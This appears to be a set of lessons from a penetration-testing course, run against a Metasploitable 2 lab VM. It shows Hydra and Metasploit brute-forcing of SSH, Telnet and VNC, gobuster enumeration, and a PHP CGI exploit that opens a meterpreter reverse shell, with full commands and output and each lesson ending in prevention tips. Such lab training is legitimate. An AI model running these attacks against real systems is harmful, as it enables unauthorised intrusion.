To get a Proper connection you must have a proper username and password credentials. This is also similar to FTP services.

Let's try brute-forcing using Hydra:

  • -l LOGIN or -L    : FILE login with LOGIN name, or load several logins from FILE
  • -p PASS or -P       : FILE try password PASS, or load several passwords from FILE
  • -t                           : TASKS run TASKS number of connects in parallel per target (default: 16)
┌─[mrdev@mr-dev]─[~]
└──╼ $ hydra -L wordlist.lst -P wordlist.lst ssh://192.168.56.3 -t 5
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-15 01:21:04
[DATA] max 5 tasks per 1 server, overall 5 tasks, 400 login tries (l:20/p:20), ~80 tries per task
[DATA] attacking ssh://192.168.56.3:22/
[22][ssh] host: 192.168.56.3   login: user   password: user
[STATUS] 172.00 tries/min, 172 tries in 00:01h, 228 to do in 00:02h, 5 active
[22][ssh] host: 192.168.56.3   login: msfadmin   password: msfadmin
[STATUS] 168.00 tries/min, 336 tries in 00:02h, 64 to do in 00:01h, 5 active
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-15 01:23:28
┌─[mrdev@mr-dev]─[~]
└──╼ $
┌─[mrdev@mr-dev]─[~]
└──╼ $ ssh msfadmin@192.168.56.3
msfadmin@192.168.56.3's password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Fri Jan 14 13:39:53 2022
msfadmin@metasploitable:~$ ls                                                                              
vulnerable
msfadmin@metasploitable:~$ 
┌─[mrdev@mr-dev]─[~]
└──╼ $ telnet 192.168.56.3
Trying 192.168.56.3...
Connected to 192.168.56.3.
Escape character is '^]'.
                _                  _       _ _        _     _      ____  
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|                                          

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login:
┌─[mrdev@mr-dev]─[~]
└──╼ $ hydra -L wordlist.lst -P wordlist.lst telnet://192.168.56.3
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-15 01:25:39
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 400 login tries (l:20/p:20), ~25 tries per task
[DATA] attacking telnet://192.168.56.3:23/
[23][telnet] host: 192.168.56.3   login: user   password: user
[23][telnet] host: 192.168.56.3   login: msfadmin   password: msfadmin
[STATUS] 327.00 tries/min, 327 tries in 00:01h, 73 to do in 00:01h, 16 active
[STATUS] 200.00 tries/min, 400 tries in 00:02h, 1 to do in 00:01h, 5 active
[STATUS] 133.33 tries/min, 400 tries in 00:03h, 1 to do in 00:01h, 5 active
┌─[mrdev@mr-dev]─[~]
└──╼ $
metasploitable login: msfadmin
Password: msfadmin
Last login: Fri Jan 14 14:56:12 EST 2022 on pts/12
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ 

Let's Try to log in with the username and password:


Attempt to Brute-forcing the Telnet service

Telnet is a protocol that allows you to connect to remote computers (called hosts) over a TCP/IP network (such as the Internet). Using telnet client software on your computer, you can make a connection to a telnet server (that is, the remote host).

Let's try attempt to connect the server with the help of telnet:

As you can see it prompts me to insert the login credentials. Let's try brute force to get the user name and password:

Once you find out the username and password try to get a connection:

From the above examples, you find out how a Brute force attack works.

Prevention:

There are many methods to stop or prevent brute force attacks.

The most obvious is a strong password policy. Each web application or public server should enforce the use of strong passwords. For example, standard user accounts should have at least eight letters, a number, uppercase, and lowercase letters, and a special character. Moreover, servers should require frequent password changes.

Let’s investigate other ways to prevent a brute-force attack.

  • Limit failed login attempts
  • Make the root user inaccessible via SSH by editing the sshd_config file
  • Don’t use a default port, edit the port line in your sshd_configfile
  • Use Captcha
  • Limit logins to a specified IP address or range
  • Two-factor authentication
  • Unique login URLs
  • Monitor server logs
Reading Material
Authentication & Password Attacks Lesson 11 of 15
In Progress

SSH Brute-Forcing with Metasploit Auxiliary Modules

In my previous lab, I demonstrated to you, how A Brute-Force Attack works on a server.

Goal: Brute forcing the Metasploitable server and gain SSH session.

Follow the below steps to get a login session:

Step 1: Start the msfconsole

Use the below command to start the Metasploit console in a proper way:

┌─[✗]─[mrdev@mr-dev]─[~]
└──╼ $sudo msfdb init
[+] Starting database
[i] The database appears to be already configured, skipping initialization
┌─[mrdev@mr-dev]─[~]
└──╼ $sudo msfconsole

 ______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V5                        |
|______________________________________________________________________________|
      \                                  /                      /
       \     .                          /                      /            x
        \                              /                      /
         \                            /          +           /
          \            +             /                      /
           *                        /                      /
                                   /      .               /
    X                             /                      /            X
                                 /                     ###
                                /                     # % #
                               /                       ###
                      .       /
     .                       /      .            *           .
                            /
                           *
                  +                       *

                                       ^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                           https://metasploit.com

       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Search can apply complex filters such as 
search cve:2009 type:exploit, see all the filters 
with help search

msf6 >

Step 2: Search the Auxiliary module

Next, we load up the scanner module in Metasploit:

msf6 >search ssh_login

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 >use 0
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) >show options 

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none,
                                                 user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
  RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wi
                                                ki/Using-Metasploit
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts

msf6 auxiliary(scanner/ssh/ssh_login) >set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 auxiliary(scanner/ssh/ssh_login) >set PASS_FILE wordlist.lst
PASS_FILE => wordlist.lst
msf6 auxiliary(scanner/ssh/ssh_login) >set USER_FILE wordlist.lst
USER_FILE => wordlist.lst
msf6 auxiliary(scanner/ssh/ssh_login) >set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) >run

[*] 192.168.56.3:22 - Starting bruteforce
[+] 192.168.56.3:22 - Success: 'user:user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened (192.168.56.1:45003 -> 192.168.56.3:22) at 2022-01-15 02:24:31 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) >sessions 

Active sessions
===============

  Id  Name  Type         Information                      Connection
  --  ----  ----         -----------                      ----------
 1         shell linux  SSH user:user (192.168.56.3:22)  192.168.56.1:45003 -> 192.168.56.3:22 (192.168.56.3)

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

SSH user:user (192.168.56.3:22)
id
uid=1001(user) gid=1001(user) groups=1001(user)
ls
cd ..
ls
ftp
msfadmin
service
user
^Z
Background session 1? [y/N] y
msf6 auxiliary(scanner/ssh/ssh_login) >exit -y
┌─[mrdev@mr-dev]─[~]
└──╼ $

Step 3: Configure the ssh_login auxiliary module

Once you set the module to auxiliary mode then set the following configuration:

Note: You need a Wordlist file to manage, the brute force attack. At this place, I use my previous wordlist from the previous chapter.

Step 4: Apply the Run command

Once you configure the setting, execute the run command:

Step 5: Interact with shell

From step 4 you can find out that auxiliary module execution is completed and a command shell session opened. You can find out the session using the sessions command and then connect:


Prevention:

There are many methods to stop or prevent brute force attacks.

The most obvious is a strong password policy. Each web application or public server should enforce the use of strong passwords. For example, standard user accounts should have at least eight letters, a number, uppercase, and lowercase letters, and a special character. Moreover, servers should require frequent password changes.

Let’s investigate other ways to prevent a brute-force attack.

  • Limit failed login attempts
  • Make the root user inaccessible via SSH by editing the sshd_config file
  • Don’t use a default port, edit the port line in your sshd_configfile
  • Use Captcha
  • Limit logins to a specified IP address or range
  • Two-factor authentication
  • Unique login URLs
  • Monitor server logs
Reading Material
Authentication & Password Attacks Lesson 12 of 15
In Progress

Capturing & Decrypting VNC Remote Desktop Sessions

Goal: Establishing A VNC session To The Metasploitable 2 server.

1. To establish a VNC session we have to find out the VNC password. So Let me fire up Metasploit Framework and search vnc 3.3 (find out from Nmap scanning):

┌─[mrdev@mr-dev]─[~]
└──╼ $sudo msfdb init && sudo msfconsole
[sudo] password for mrdev: 
[i] Database already started
[i] The database appears to be already configured, skipping initialization
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+

       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Search can apply complex filters such as 
search cve:2009 type:exploit, see all the filters 
with help search

msf6 > search vnc 3.3

Matching Modules
================

   #  Name                                 Disclosure Date  Rank     Check  Description
   -  ----                                 ---------------  ----     -----  -----------
   0  exploit/windows/vnc/realvnc_client   2001-01-29       normal   No     RealVNC 3.3.7 Client Buffer Overflow
  1  auxiliary/scanner/vnc/vnc_login                      normal   No     VNC Authentication Scanner
   2  exploit/windows/vnc/winvnc_http_get  2001-01-29       average  No     WinVNC Web Server GET Overflow

Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/vnc/winvnc_http_get

msf6 >

2. There is an auxiliary module available to brute-forcing the VNC password, use that module and show the options to configure the module:

msf6 >use 1
msf6 auxiliary(scanner/vnc/vnc_login) >options 

Module options (auxiliary/scanner/vnc/vnc_login):

   Name              Current Setting                      Required  Description
   ----              ---------------                      --------  -----------
   BLANK_PASSWORDS   false                                no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                    yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                 no        Skip existing credentials stored in the current database (Acce
                                                                    pted: none, user, user&realm)
   PASSWORD                                               no        The password to test
   PASS_FILE         /usr/share/metasploit-framework/dat  no        File containing passwords, one per line
                     a/wordlists/vnc_passwords.txt
   Proxies                                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                 yes       The target host(s), see https://github.com/rapid7/metasploit-f
                                                                    ramework/wiki/Using-Metasploit
   RPORT             5900                                 yes       The target port (TCP)
   STOP_ON_SUCCESS   false                                yes       Stop guessing when a credential works for a host
   THREADS           1                                    yes       The number of concurrent threads (max one per host)
   USERNAME          <BLANK>                              no        A specific username to authenticate as
   USERPASS_FILE                                          no        File containing users and passwords separated by space, one pa
                                                                    ir per line
   USER_AS_PASS      false                                no        Try the username as the password for all users
   USER_FILE                                              no        File containing usernames, one per line
   VERBOSE           true                                 yes       Whether to print output for all attempts

msf6 auxiliary(scanner/vnc/vnc_login) >

3. From the options we only need to set the RHOSTS (No need to set the wordlist as it is automatically configured):

msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 auxiliary(scanner/vnc/vnc_login) >run

[*] 192.168.56.3:5900     - 192.168.56.3:5900 - Starting VNC login sweep
[+] 192.168.56.3:5900     - 192.168.56.3:5900 - Login Successful: :password
[*] 192.168.56.3:5900     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/vnc/vnc_login) > 
┌─[mrdev@mr-dev]─[~]
└──╼ $vncviewer 192.168.56.3

TigerVNC Viewer 64-bit v1.11.0
Built on: 2021-03-22 21:21
Copyright (C) 1999-2020 TigerVNC Team and many others (see README.rst)
See https://www.tigervnc.org for information on TigerVNC.

Thu Jan 20 19:57:12 2022
 DecodeManager: Detected 4 CPU core(s)
 DecodeManager: Creating 4 decoder thread(s)
 CConn:       Connected to host 192.168.56.3 port 5900
 CConnection: Server supports RFB protocol version 3.3
 CConnection: Using RFB protocol version 3.3

The auxiliary module execution succeeded and we have found the password marked in bold.

4. Now run the below command to start the VNC session:

The Pop-up screen appears on the screen and prompts me to input the password:

If the authentication is successful you can see the GUI of the Metasploitable 2 server:

Reading Material
Web Application & RPC Exploitation Lesson 13 of 15
In Progress

PHP CGI Argument Injection (CVE-2012-1823)

Goal: Exploiting Metasploit 2 with the help of PHP CGI Argument Injection

From the Nmap scan result, we found that port 80 is running that means, it is an HTTP service running on port 80, signaling that this target might be hosting some explorable web content.

PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
┌─[mrdev@mr-dev]─[~]
└──╼ $gobuster dir -h
Uses directory/file enumeration mode

Usage:
  gobuster dir [flags]

Flags:
  -f, --add-slash                       Append / to each request
  -c, --cookies string                  Cookies to use for the requests
  -d, --discover-backup                 Upon finding a file search for backup files
      --exclude-length ints             exclude the following content length (completely ignores the status). Supply multiple times to exclude multiple sizes.
  -e, --expanded                        Expanded mode, print full URLs
  -x, --extensions string               File extension(s) to search for
  -r, --follow-redirect                 Follow redirects
  -H, --headers stringArray             Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'
  -h, --help                            help for dir
      --hide-length                     Hide the length of the body in the output
  -m, --method string                   Use the following HTTP method (default "GET")
  -n, --no-status                       Don't print status codes
  -k, --no-tls-validation               Skip TLS certificate verification
  -P, --password string                 Password for Basic Auth
      --proxy string                    Proxy to use for requests [http(s)://host:port]
      --random-agent                    Use a random User-Agent string
  -s, --status-codes string             Positive status codes (will be overwritten with status-codes-blacklist if set)
  -b, --status-codes-blacklist string   Negative status codes (will override status-codes if set) (default "404")
      --timeout duration                HTTP Timeout (default 10s)
  -u, --url string                      The target URL
  -a, --useragent string                Set the User-Agent string (default "gobuster/3.1.0")
  -U, --username string                 Username for Basic Auth
      --wildcard                        Force continued operation when wildcard found

Global Flags:
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patterns
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist
┌─[mrdev@mr-dev]─[~]
└──╼ $
┌─[mrdev@mr-dev]─[~]
└──╼ $gobuster dir -u 192.168.56.3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.3
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/01/16 04:18:29 Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 891]
/index.php            (Status: 200) [Size: 891]
/test                 (Status: 301) [Size: 316] [--> http://192.168.56.3/test/]
/twiki                (Status: 301) [Size: 317] [--> http://192.168.56.3/twiki/]
/tikiwiki             (Status: 301) [Size: 320] [--> http://192.168.56.3/tikiwiki/]
/phpinfo              (Status: 200) [Size: 47984]                                  
/phpinfo.php          (Status: 200) [Size: 47996]                                 
===============================================================
2022/01/16 04:21:31 Finished
===============================================================
┌─[mrdev@mr-dev]─[~]
└──╼ $
┌─[mrdev@mr-dev]─[~]
└──╼ $sudo msfdb init && sudo msfconsole
[sudo] password for mrdev: 
[+] Starting database
[i] The database appears to be already configured, skipping initialization

*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable*
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs*
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*InfOUsec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn Platoon*Hackerty*hackstreetboys*
*ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*
*x00-x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow*
*etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki*
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540*
*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*
*HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade*
*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic*
*B0NG0R3*                                                                                    *Les Cadets Rouges*buf*
*Les Tontons Fl4gueurs*                                                                      *404 : Flag Not Found*
*' UNION SELECT 'password*      _________                __                                  *OCD247*Sparkle Pony* 
*burner_herz0g*                 \_   ___ \_____  _______/  |_ __ _________   ____            *Kill$hot*ConEmu*
*here_there_be_trolls*          /    \  \/\__  \ \____ \   __\  |  \_  __ \_/ __ \           *;echo"hacked"*
*r4t5_*6rung4nd4*NYUSEC*        \     \____/ __ \|  |_> >  | |  |  /|  | \/\  ___/           *karamel4e*
*IkastenIO*TWC*balkansec*        \______  (____  /   __/|__| |____/ |__|    \___  >          *cybersecurity.li*
*TofuEelRoll*Trash Pandas*              \/     \/|__|                           \/           *OneManArmy*cyb3r_w1z4rd5*
*Astra*Got Schwartz?*tmux*                  ___________.__                                   *AreYouStuck*Mr.Robot.0*
*\nls*Juicy white peach*                    \__    ___/|  |__   ____                         *EPITA Rennes*
*HackerKnights*                               |    |   |  |  \_/ __ \                        *guildOfGengar*Titans*
*Pentest Rangers*                             |    |   |   Y  \  ___/                        *The Libbyrators*
*placeholder name*bitup*                      |____|   |___|  /\___  >                       *JeffTadashi*Mikeal*
*UCASers*onotch*                                            \/     \/                        *ky_dong_day_song*
*NeNiNuMmOk*                              ___________.__                                     *JustForFun!*
*Maux de tête*LalaNG*                     \_   _____/|  | _____     ____                     *g3tsh3Lls0on*
*crr0tz*z3r0p0rn*clueless*                 |    __)  |  | \__  \   / ___\                    *Phở Đặc Biệt*Paradox*
*HackWara*                                 |     \   |  |__/ __ \_/ /_/  >                   *KaRIPux*inf0sec*
*Kugelschreibertester*                     \___  /   |____(____  /\___  /                    *bluehens*Antoine77*
*icemasters*                                   \/              \//_____/                     *genxy*TRADE_NAMES*
*Spartan's Ravens*                       _______________   _______________                   *BadByte*fontwang_tw*
*g0ldd1gg3rs*pappo*                     \_____  \   _  \  \_____  \   _  \                   *ghoti*
*Les CRACKS*c0dingRabbits*               /  ____/  /_\  \  /  ____/  /_\  \                  *LinuxRiders*   
*2Cr4Sh*RecycleBin*                     /       \  \_/   \/       \  \_/   \                 *Jalan Durian*
*ExploitStudio*                         \_______ \_____  /\_______ \_____  /                 *WPICSC*logaritm*
*Car RamRod*0x41414141*                         \/     \/         \/     \/                  *Orv1ll3*team-fm4dd*
*Björkson*FlyingCircus*                                                                      *PwnHub*H4X0R*Yanee*
*Securifera*hot cocoa*                                                                       *Et3rnal*PelarianCP*
*n00bytes*DNC&G*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-Go*BarryWhite*XUcyber*FernetInjection*DCcurity*
*Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The Pomorians*T35H*H@wk33*JetJ*OrangeStar*Team Corgi*
*D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OSINT Punchers*Tinfoil Hats*Hava*Team Neu*
*Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6*
*PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r*
*Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti*
*San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks*
*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless*
*Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzara's Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*
*asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva*
*InspiV*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings*
*chads*SecureShell*EetIetsHekken*CyberSquad*P&K*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz*
*OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*

       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Open an interactive Ruby terminal with 
irb

msf6 >
msf6 >search php_cgi

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
  0  exploit/multi/http/php_cgi_arg_injection  2012-05-03       excellent  Yes    PHP CGI Argument Injection

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/php_cgi_arg_injection

msf6 >use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) >show options 

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PLESK        false            yes       Exploit Plesk
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
                                           Using-Metasploit
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                     no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                         no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  1xx.xx.xxx.xxx   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf6 exploit(multi/http/php_cgi_arg_injection) >set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 exploit(multi/http/php_cgi_arg_injection) >set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(multi/http/php_cgi_arg_injection) >
msf6 exploit(multi/http/php_cgi_arg_injection) >exploit

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Sending stage (39282 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:41846) at 2022-01-16 04:27:10 +0530

meterpreter >

To look at the contents ourselves, we can open a web browser of our choice and navigate to the target's IP address in the URL bar at the top of the window. This will automatically address the target's port 80 for the client-server communication and load the web page's contents.

From the above screenshot, we observe that the running website shows us a few other pages that are accessible, and also a few are not listed on this website. At this place directory busting (dir busting) comes to work. For this purpose, we will be using the tool called gobuster, which is written in Go (Click here to learn more).

In order to start our dir busting, we will need to discover what capabilities gobuster has and which ones can assist us. By looking at the tool's help page, and by typing in the gobuster dir -h command in our terminal, we receive a list of all possible switches for the tool and their description.

In our case, we will only need to use the following:

  • gobuster dir : specify we are using the directory busting mode of the tool
  • -w: specify a wordlist, a collection of common directory names that are typically used for sites
  • -u: specify the target's IP address
  • -x : File extension(s) to search for
Let's perform Brute force the directories and files provided in the WordList of our choice (/usr/share/wordlists/dirbuster/path for wordlist).

Now that we have received the result we needed (phpinfo.php) from gobuster. By navigating to the newly found link manually through our web browser can be done by inputting the following address in our URL search bar. Once we proceed with this, we are met with the installed PHP information page:

From the above page, we found an exploit i.e., CGI.

Exploit The PHP_CGI

Step 1: Start the MSF console

Use the following command to start the Metasploit framework:

